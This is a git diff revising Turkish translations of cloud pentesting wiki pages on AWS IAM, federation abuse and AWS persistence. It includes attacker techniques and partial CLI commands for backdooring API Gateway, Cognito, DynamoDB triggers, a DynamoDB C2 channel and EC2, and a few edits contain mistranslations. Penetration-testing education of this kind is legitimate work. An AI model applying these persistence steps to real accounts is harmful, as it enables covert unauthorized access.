IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bu izinleri kullanmaya çalıştığında işlem **başarısız** olur.
-Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· kovalarını okuyabileceğini gösteriyorsa, yapabileceği maksimum budur.
+Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır sadece S· bucket'larını okuyabileceğini gösteriyorsa, bu onun yapabileceği maksimum şeydir.
**Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır.
@@ -216,7 +216,7 @@ Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının vey
Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir).
-Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir.
+Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda oturum politikasında belirtilenlerle sınırlı izinleri kısıtlayabilir.
```bash
aws sts assume-role \
--role-arn \
@@ -224,24 +224,24 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) (gelişmiş kimlik doğrulaması kullanarak) AWS, oturumun erişebileceği hizmetleri sınırlayan **bir oturum politikası ile oturum kimlik bilgileri** oluşturacaktır [**aşağıdaki listeye**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kullanıldığında (gelişmiş kimlik doğrulaması ile), AWS **oturum politikası ile oturum kimlik bilgileri** oluşturacaktır; bu, oturumun erişebileceği hizmetleri [**aşağıdaki liste ile sınırlamaktadır**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikasının olmasıdır**.
+Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikası olmasıdır**.
### Kimlik Federasyonu
Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\
-Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz (**SAML** aracılığıyla) veya **OpenID** hizmetleridir (örneğin **Google**). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
+Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz ( **SAML** aracılığıyla) veya **OpenID** hizmetleridir ( **Google** gibi). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
-Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (güvenen) Kimlik Sağlayıcısına atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
+Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (kimlik sağlayıcıya güvenen) atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
-Ancak, genellikle üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcısına güvenebilir** ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
+Ancak, genellikle üçüncü taraf platformda kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü,** üçüncü taraf Kimlik Sağlayıcıya güvenebilir ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
### IAM Kimlik Merkezi
-AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS kullanıcılarının yönetimi ve AWS** hesaplarına ve bulut uygulamalarına erişimlerini bir araya getiren **merkezi bir yer** sağlar.
+AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS** hesaplarına ve bulut uygulamalarına **kullanıcıların yönetimi ve erişimlerini** bir araya getiren **merkezi bir yer** sağlar.
Giriş alanı, `.awsapps.com` gibi bir şey olacak.
@@ -249,13 +249,13 @@ Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardı
- Kimlik Merkezi Dizini: Normal AWS kullanıcıları
- Active Directory: Farklı bağlantıları destekler
-- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcısından (IdP) gelir
+- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcıdan (IdP) gelir
-Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir organizasyon hesabına** **politika atayabilecektir**.
+Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir hesabın** politikalarını **atama** yeteneğine sahip olacaktır.
-Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcısına güvenen bir rol, hedef hesapta oluşturulacaktır**.
+Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcıya güvenen bir rol, hedef hesapta oluşturulacaktır**.
#### AwsSSOInlinePolicy
@@ -266,7 +266,7 @@ Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 ro
### Hesaplar Arası Güvenler ve Roller
**Bir kullanıcı** (güvenen), bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\
-**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, federasyon kullanıcıları gibi diğer kimlik doğrulaması yapılmış kullanıcılar da bu güveni kötüye kullanabilir.
+**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, diğer kimlik doğrulaması yapılmış kullanıcılar, federasyon kullanıcıları gibi, bu güveni kötüye kullanabilir.
### AWS Basit AD
@@ -282,14 +282,14 @@ Desteklenmiyor:
#### Web Federasyonu veya OpenID Kimlik Doğrulaması
-Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
+Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity'i kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
### Diğer IAM seçenekleri
-- **Minimum uzunluk ve şifre gereksinimleri** gibi bir şifre politikası ayarı yapabilirsiniz.
+- **Şifre politikası ayarlarını** minimum uzunluk ve şifre gereksinimleri gibi seçenekleri **belirleyebilirsiniz**.
- Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifre etkin mi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir.
-AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinleri** sağlamak için izinleri yönetirsiniz.
+AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayrıntılı erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinlerini** sağlamak için izinleri yönetirsiniz.
### IAM ID Ön Ekleri
@@ -307,7 +307,7 @@ AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim
| APKA | Genel anahtar |
| AROA | Rol |
| ASCA | Sertifika |
-| ASIA | [Geçici (AWS STS) erişim anahtar kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile bir arada benzersizdir. |
+| ASIA | [Geçici (AWS STS) erişim anahtarı kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile kombinasyon halinde benzersizdir. |
### Hesapları denetlemek için önerilen izinler
@@ -326,9 +326,9 @@ Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir:
### CLI Kimlik Doğrulaması
-Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
-O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak, o dosyada **`[default]`** olarak adlandırılan profil kullanılacaktır.\
-Birden fazla profil içeren kimlik bilgisi dosyası örneği:
+Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları **elle** `~/.aws/credentials` dosyasında yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
+O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanırken o dosyadaki **`[default]`** adlı profil kullanılacaktır.\
+Birden fazla profil içeren kimlik bilgileri dosyası örneği:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -341,7 +341,7 @@ region = eu-west-2
```
Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur.
-`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (kullanıcı için `assume-role` şeffaf bir şekilde gerçekleştirilecektir).\
+`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (rol üstlenme, kullanıcı için şeffaf bir şekilde gerçekleştirilecektir).\
Bir yapılandırma dosyası örneği:
```
[profile acc2]
@@ -351,7 +351,7 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz:
+Bu yapılandırma dosyasıyla aws cli'yi şu şekilde kullanabilirsiniz:
```
aws --profile acc2 ...
```
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 43f1b752f..ef4de6fe1 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,7 +10,7 @@ SAML hakkında bilgi için lütfen kontrol edin:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**uç noktalar**, **sertifika** ile birlikte genel anahtar)
+**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**son noktalar**, **açık anahtara sahip sertifika**)
## OIDC - Github Actions Abuse
@@ -19,7 +19,7 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin.
2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin.
3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın.
-4. _Hedef kitle_ için `sts.amazonaws.com` girin.
+4. _Hedef_ için `sts.amazonaws.com` girin.
5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun:
- ```json
{
@@ -44,8 +44,8 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
]
}
```
-6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin.
-7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**.
+6. Önceki politikada yalnızca bir **şubenin** belirli bir **tetikleyici** ile bir **kuruluşun** **depo**sundan yetkilendirildiğine dikkat edin.
+7. Github eyleminin **taklit** edebileceği **rolün** **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** içinde bir **ortamda** **saklayın**.
8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın:
```yaml
name: "test AWS Access"
@@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
-Bu politika, **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** yalnızca rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor.
+Bu politika, **sadece** **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci ile** rolü **üstlenebileceği** anlamına geliyor.
-**Hangi hizmet hesabının rolü üstlenebileceğini belirtmek için,** **hizmet hesabı adı belirtilen** bir **koşul** tanımlamak gereklidir, örneğin:
+**Hangi hizmet hesabının rolü üstlenebileceğini** belirtmek için, **hizmet hesabı adının belirtildiği** bir **koşul** tanımlamak gereklidir, örneğin:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index b60bb1b7f..e16a4b7e0 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,4 +1,4 @@
-# AWS - Permissions for a Pentest
+# AWS - Pentest için İzinler
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index d33e2610e..1bbf9cb7a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -12,21 +12,21 @@ Daha fazla bilgi için:
### Kaynak Politikası
-API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin.
+API gateway'lerin kaynak politikasını değiştirerek kendinize erişim izni verin.
### Lambda Yetkilendiricilerini Değiştirin
-Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim verin.\
-Ya da sadece yetkilendiricinin kullanımını kaldırın.
+Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim izni verin.\
+Ya da yetkilendiricinin kullanımını kaldırın.
### IAM İzinleri
-Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\
-Ya da sadece yetkilendiricinin kullanımını kaldırın.
+Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim izni verebilirsiniz.\
+Ya da yetkilendiricinin kullanımını kaldırın.
### API Anahtarları
API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\
-Ya da sadece API anahtarlarının kullanımını kaldırın.
+Ya da API anahtarlarının kullanımını kaldırın.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index c89608350..9c30be432 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,7 +4,7 @@
## Cognito
-Daha fazla bilgi için erişim sağlayın:
+Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -14,11 +14,11 @@ Daha fazla bilgi için erişim sağlayın:
Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin:
-- **Kullanıcı tarafından kontrol edilen bir Kullanıcı Havuzunu** bir Kimlik Havuzuna eklemek
-- **Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
-- Veya **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** eğer saldırgan giriş yapabiliyorsa
+- **Kullanıcı Havuzuna** kullanıcı tarafından kontrol edilen bir Kimlik Havuzu eklemek
+- Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna **IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
+- Saldırgan giriş yapabiliyorsa **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** vermek
- Veya verilen rollerin **izinlerini artırmak**
-- **Öznitelikler kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla** bir **Kullanıcı Havuzunda** oluşturmak, doğrulamak ve yetki yükseltmek
+- **Özniteliklerle kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla oluşturma, doğrulama ve yetki yükseltme** yapmak bir **Kullanıcı Havuzunda**
- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek
Bu eylemleri nasıl yapacağınızı kontrol edin
@@ -29,11 +29,11 @@ Bu eylemleri nasıl yapacağınızı kontrol edin
### `cognito-idp:SetRiskConfiguration`
-Bu yetkiye sahip bir saldırgan, bir Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
+Bu yetkiye sahip bir saldırgan, Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-Varsayılan olarak bu devre dışıdır:
+Varsayılan olarak bu devre dışıdır:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index c709bdcde..5cfa35262 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için erişin:
### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri
-DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
+DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonunu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \
```
Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır.
-### DynamoDB C2 Kanalı Olarak
+### DynamoDB'yi C2 Kanalı Olarak Kullanma
-Bir saldırgan, komutlar içeren öğeler oluşturarak ve ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak bu komutları almak ve çalıştırmak için bir DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
+Bir saldırgan, komutlar içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 80c40e816..941d0a27d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -12,36 +12,36 @@ Daha fazla bilgi için kontrol edin:
### Güvenlik Grubu Bağlantı İzleme Sürekliliği
-Eğer bir savunucu **EC2 örneğinin ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder), ya da **herhangi bir türde gelen veya giden** trafiğe izin vermeyen **güvenlik grubunu değiştirebilir**.
+Eğer bir savunucu **EC2 örneğinin tehlikeye girdiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder) veya **güvenlik grubunu değiştirerek** **herhangi bir türde gelen veya giden** trafiğe izin vermeyebilir.
-Eğer saldırganın makineden kaynaklanan bir **ters kabuk** varsa, SG gelen veya giden trafiğe izin vermeyecek şekilde değiştirilse bile, **bağlantı** [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
+Eğer saldırganın makineden kaynaklanan bir **ters kablosu** varsa, SG değiştirildiğinde bile gelen veya giden trafiğe izin vermeyen, **bağlantı [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
### EC2 Yaşam Döngüsü Yöneticisi
Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\
-Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırma yapabilir ve **kendi hesabıyla paylaşabilir**.
+Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırabilir ve **kendi hesabıyla paylaşabilir**.
### Planlı Örnekler
-Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, erişebileceği yüksek ayrıcalıklara sahip bir makine çalıştırabilir.
+Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, yüksek ayrıcalıklara sahip veya ilginç bir erişim sağlayan bir makine çalıştırabilir.
### Spot Filosu Talebi
-Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **otomatik IP** ataması ve saldırgana **spot örneği başladığında** ve **IP adresi** ile ilgili bilgi gönderen bir **kullanıcı verisi** ile **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin).
+Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin), **otomatik IP** ataması ile ve saldırgana **spot örneği başladığında** **IP adresini** gönderen bir **kullanıcı verisi** ile.
### Arka Kapı Örnekleri
-Bir saldırgan, örneklere erişebilir ve bunları arka kapı ile ele geçirebilir:
+Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapı ile açabilir:
- Örneğin geleneksel bir **rootkit** kullanarak
- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md))
-- **Kullanıcı Verisini** arka kapı ile ele geçirerek
+- **Kullanıcı Verisini** arka kapı ile açarak
### **Arka Kapı Başlatma Yapılandırması**
-- Kullanılan AMI'yi arka kapı ile ele geçirmek
-- Kullanıcı Verisini arka kapı ile ele geçirmek
-- Anahtar Çifti'ni arka kapı ile ele geçirmek
+- Kullanılan AMI'yi arka kapı ile aç
+- Kullanıcı Verisini arka kapı ile aç
+- Anahtar Çifti'ni arka kapı ile aç
### VPN
@@ -49,6 +49,6 @@ Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun.
### VPC Peering
-Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişebilir.
+Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişim sağlayabilir.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 1cd9c21b2..b65c5144a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
